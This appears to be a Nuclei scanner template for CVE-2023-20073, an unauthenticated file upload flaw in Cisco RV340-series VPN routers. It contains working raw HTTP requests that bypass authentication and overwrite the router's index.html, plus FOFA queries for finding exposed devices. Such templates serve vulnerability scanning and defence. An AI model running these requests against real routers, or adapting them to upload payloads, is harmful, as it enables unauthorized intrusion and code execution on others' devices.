Cisco VPN Routers - Unauthenticated Arbitrary File Upload

id: CVE-2023-20073

info:
  name: Cisco VPN Routers - Unauthenticated Arbitrary File Upload
  author: princechaddha,ritikchaddha
  severity: critical
  description: |
    A vulnerability in the web-based management interface of Cisco RV340, RV340W, RV345, and RV345P Dual WAN Gigabit VPN Routers could allow an unauthenticated, remote attacker to upload arbitrary files to an affected device. This vulnerability is due to insufficient authorization enforcement mechanisms in the context of file uploads. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to upload arbitrary files to the affected device.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution or unauthorized access to sensitive information.
  remediation: |
    Apply the latest security patches provided by Cisco to mitigate this vulnerability.
  reference:
    - https://unsafe.sh/go-173464.html
    - https://gist.github.com/win3zz/076742a4e365b1bba7e2ba0ebea9253f
    - https://github.com/RegularITCat/CVE-2023-20073/tree/main
    - https://nvd.nist.gov/vuln/detail/CVE-2023-20073
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv-afu-EXxwA65V
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-20073
    cwe-id: CWE-434
    epss-score: 0.90106
    epss-percentile: 0.99797
    cpe: cpe:2.3:o:cisco:rv340_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: cisco
    product: rv340_firmware
    fofa-query:
      - app="CISCO-RV340" || app="CISCO-RV340W" || app="CISCO-RV345" || app="CISCO-RV345P"
      - app="cisco-rv340" || app="cisco-rv340w" || app="cisco-rv345" || app="cisco-rv345p"
  tags: cve2023,cve,xss,fileupload,cisco,unauth,routers,vpn,intrusive,vkev,vuln
variables:
  html_comment: "<!-- {{randstr}} -->" # Random string as HTML comment to append in response body

http:
  - raw:
      - |
        GET /index.html HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /api/operations/ciscosb-file:form-file-upload HTTP/1.1
        Host: {{Hostname}}
        Authorization: 1
        Content-Type: multipart/form-data; boundary=------------------------f6f99e26f3a45adf

        --------------------------f6f99e26f3a45adf
        Content-Disposition: form-data; name="pathparam"

        Portal
        --------------------------f6f99e26f3a45adf
        Content-Disposition: form-data; name="fileparam"

        index.html
        --------------------------f6f99e26f3a45adf
        Content-Disposition: form-data; name="file.path"

        index.html
        --------------------------f6f99e26f3a45adf
        Content-Disposition: form-data; name="file"; filename="index.html"
        Content-Type: application/octet-stream

        {{index}}
        {{html_comment}}

        --------------------------f6f99e26f3a45adf--
      - |
        GET /index.html HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: dsl
        name: index
        internal: true
        dsl:
          - body_1
    matchers:
      - type: word
        part: body_3
        words:
          - "{{html_comment}}"